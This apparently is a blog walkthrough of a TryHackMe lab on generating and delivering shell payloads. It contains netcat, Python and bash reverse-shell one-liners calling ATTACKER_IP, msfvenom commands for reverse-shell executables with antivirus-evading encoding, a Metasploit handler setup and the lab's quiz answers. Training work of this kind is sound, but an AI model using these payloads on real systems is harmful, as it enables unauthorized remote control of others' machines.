Post cover image

June 22, 2026

Shell Payload Generation & Delivery Walkthrough Part 1| TryHackMe

Generate, customize, and deploy shell payloads with msfvenom, Metasploit, and webshells.

Gowrishankar

6 min read

Introduction

In penetration testing, simply catching shells, setting up listeners, stabilizing connections, and building interactive TTYs only gives us control once the shell arrives. But the bigger question is how the shell gets there in the first place. That's the gap we often miss. Payloads bridge this gap. They are the programs that call back home and open the door for everything else.

Typing something like nc ATTACKER_IP 4444 -e /bin/bash works fine if we already have access to the box. Real penetration testing, however, demands more than manual commands. It requires payloads, self‑contained programs that automatically connect back to our listener when executed on the target system.

Imagine finding a file upload vulnerability. We can drop an executable, but we can't sit at the keyboard to type commands. Or picture a phishing campaign where the attachment needs to look harmless but secretly establishes persistent access. In both cases, manual shell commands won't cut it. We need generated, deployable payloads.

This stage bridges the gap between "I can catch shells" and "I can create the payloads that generate those shells." It's about turning shell‑catching skills into a complete offensive toolkit.

Task 2: Common Shell Payloads

When I first learned shells and listeners, netcat felt like the ultimate tool. But stepping into real‑world penetration testing quickly showed me its limits. Some systems don't have netcat at all, others ship restricted versions, and many environments block the simple one‑liners we rely on in labs. That's when I had to explore alternative payloads.

Netcat Without -e

Modern Linux distributions often remove the -e flag for security reasons. OpenBSD's netcat, for example, deliberately excludes it. In those cases, named pipes become my workaround. By creating a FIFO file, I can bridge netcat and a shell, recreating the same functionality.

  • Bind shell example: mkfifo /tmp/f; nc -lvnp 8080 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
  • Reverse shell example: mkfifo /tmp/f; nc ATTACKER_IP 4444 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

Both commands clean up after themselves, leaving fewer traces behind.

PowerShell Reverse Shells

On Windows targets, PowerShell is often available even when traditional tools are restricted. Its .NET integration lets me open TCP sockets directly. A one‑liner using System.Net.Sockets.TCPClient gives me a fully interactive shell, complete with a PowerShell prompt. It loops continuously: read → execute → send back results.

Script‑Based Shells

When netcat or PowerShell aren't options, scripting languages save the day. Python, Perl, Ruby, and PHP all have networking capabilities. On Linux, Python is especially handy:

python3 -c 'import socket,os; s=socket.socket(); s.connect(("ATTACKER_IP",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); import pty; pty.spawn("/bin/bash")'

And if nothing else is available, even Bash itself can be abused:

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Choosing the Right Payload

The trick is matching the payload to the environment:

  • OS matters: Windows systems favour PowerShell payloads, while Linux systems work well with bash, Python, or netcat alternatives.
  • Available interpreters: Check what scripting languages or tools are installed. Python, Perl, Ruby, and PHP all have networking capabilities that allow them to create shells.
  • Network restrictions: Some environments filter outbound connections on specific ports or protocols. Test different ports and connection methods if initial attempts fail.
  • Execution context: Web shells, scheduled tasks, and service accounts may have different privileges and tool availability than interactive user sessions.
  • Detection concerns: Some payloads trigger antivirus or endpoint detection systems more readily than others. PowerShell, in particular, is heavily monitored in modern Windows environments.

Payloads aren't one‑size‑fits‑all. Each environment demands a different approach, and knowing multiple techniques makes exploitation practical. Resources like PayloadsAllTheThings are invaluable, but testing in a controlled lab first is essential. Understanding how these payloads work at a low level, where we can troubleshoot, adapt, and eventually move on to automated generators like msfvenom with confidence.

What technique allows you to create a reverse or bind shell with netcat when the -e flag is unavailable?

named pipe

In the PowerShell reverse shell one-liner, what .NET class is used to create the network connection to the attacker?

System.Net.Sockets.TCPClient

What bash pseudo-device path is used to create a TCP connection in the bash reverse shell?

/dev/tcp

Task 3 : msfvenom

Manually crafting payloads taught us a lot about how shells work, but in real engagements, we might quickly hit limitations. Some targets required cross‑platform payloads, others demanded evasion against antivirus software, and many situations called for something more polished than a one‑liner. That's where msfvenom, part of the Metasploit framework, became the go‑to tool.

Why Msfvenom Matters

Msfvenom isn't just a shortcut. It's a full payload generator and encoder. It builds standalone executables that can connect back to me (reverse shells) or open listening ports (bind shells). It handles encoding, output formats, and platform targeting automatically, saving hours of manual work. More importantly, it integrates directly with Metasploit's post‑exploitation modules, making it perfect for real‑world workflows.

Basic Usage

The syntax is straightforward:

msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <output>

For example, generating a Windows reverse shell executable:

msfvenom -p windows/x64/shell/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o shell.exe

Flags like -p (payload type), -f (output format), and -o (filename) make it easy to customize.

Staged vs. Stageless Payloads

One of the first lessons I learned was the difference between staged and stageless payloads:

  • Stageless: Self‑contained, everything in one file. Easy to use with netcat listeners, but larger and more likely to trigger AV.
  • Staged: Delivered in two parts — a small stager connects back and pulls the full payload. This makes them stealthier and better suited for Metasploit's multi/handler.

The naming convention helps: shell_reverse_tcp usually means stageless, while shell/reverse_tcp indicates staged.

Meterpreter Payloads

Then came Meterpreter, Metasploit's advanced shell. Unlike simple shells, Meterpreter runs in memory and offers built‑in commands for privilege escalation, file operations, and system control. It felt like upgrading from a basic terminal to a full exploitation toolkit.

Examples:

  • Windows staged Meterpreter: windows/x64/meterpreter/reverse_tcp
  • Linux stageless Meterpreter: linux/x86/meterpreter_reverse_tcp

Output Formats

Msfvenom supports a wide range of formats depending on delivery:

  • exe for Windows
  • elf for Linux
  • dll for injection
  • aspx/jsp/war for web shells
  • python/powershell for script‑based execution

This flexibility meant I could adapt payloads to whatever environment I was facing.

Encoding and Evasion

Antivirus was always a hurdle. Msfvenom's encoding options let me transform payloads to avoid signature detection. For example:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -e x64/xor -i 3 -o encoded_shell.exe

Encoding isn't foolproof against modern EDR, but it adds another layer of stealth.

Instead of relying on fragile one‑liners, we could generate professional, cross‑platform payloads tailored to the target. Whether it was a simple reverse shell, a stealthy staged payload, or a full Meterpreter session, msfvenom gives the flexibility and power to move from basic exploitation to full post‑exploitation workflows.

Which msfvenom payload would generate a 64-bit Linux stageless reverse TCP shell?

linux/x64/shell_reverse_tcp

What msfvenom flag specifies the number of encoding iterations?

-i

What type of msfvenom payload runs entirely in memory and provides built-in post-exploitation commands?

meterpreter

Task 4: Metasploit multi/handler

Simple netcat listeners worked fine for basic reverse shells, but the moment I started experimenting with staged payloads and Meterpreter sessions, netcat fell short. It couldn't handle the staging protocol, manage multiple sessions, or negotiate the advanced communication that real payloads rely on. That's when Metasploit's multi/handler, the universal payload receiver that makes the difference between toy shells and professional exploitation.

Unlike netcat, which just passes raw data back and forth, multi/handler actively participates in the connection. It receives stagers, sends back the full payload, negotiates Meterpreter protocols, and tracks sessions. Anytime we use staged payloads or Meterpreter, multi/handler is essential.

Setting It Up

The process inside Metasploit is straightforward:

sudo msfconsole
use multi/handler
set PAYLOAD windows/x64/shell/reverse_tcp
set LHOST ATTACKER_IP
set LPORT 4444
exploit -j

The key is making sure the handler's configuration matches exactly what I baked into the payload with msfvenom. If the payload says windows/x64/shell/reverse_tcp with LHOST 10.10.14.15 and port 4444, the handler must mirror those settings. Get it wrong, and the connection silently fails.

Catching Connections

Once the handler is running, it listens for callbacks. When a staged payload fires, I see messages like:

[*] Sending stage (200774 bytes) to 10.10.14.100
[*] Command shell session 1 opened (10.10.14.15:4444 -> 10.10.14.100:49847)

That's the magic moment — the stager connects, the full payload is delivered, and a managed session opens. Each session gets an ID, letting us jump in, background it, or juggle multiple shells at once.

Why It's Better Than Netcat

Multi/handler isn't just about catching shells. It gives:

  • Session management: list, interact, and background multiple sessions.
  • Persistence: sessions survive drops better than raw netcat connections.
  • Integration: sessions plug directly into Metasploit's post‑exploitation modules.
  • Flexibility: multiple handlers can run at once on different ports or payload types.

Netcat still has its place for quick stageless shells, but when I'm working with staged payloads, Meterpreter, or managing multiple compromised systems, multi/handler is the only reliable option.

Troubleshooting Common Issues

A few common mistakes can prevent connections from landing. These are the first things to check when a payload fires but nothing shows up in Metasploit.

  • Payload mismatch: The handler payload must exactly match what we generated, including architecture and staging type. A shell/reverse_tcp handler won't catch a shell_reverse_tcp payload.
  • Network configuration: LHOST must be the correct interface IP, not 0.0.0.0 or localhost.
  • Firewall blocking: Make sure our attacking machine's firewall allows inbound connections on the specified LPORT.
  • Privilege requirements: Ports below 1024 need sudo.

What Metasploit command loads the multi/handler module?

use multi/handler

What flag runs the handler as a background job so you can continue using the Metasploit console?

-j

Which command, followed by a session number, lets you interact with a specific active session?

sessions -i

Part 2 Link : https://medium.com/@gowrishankar.a391/shell-payload-generation-delivery-walkthrough-part-2-tryhackme-6675a21d9abb

Room Link : https://tryhackme.com/room/shellgenerationdelivery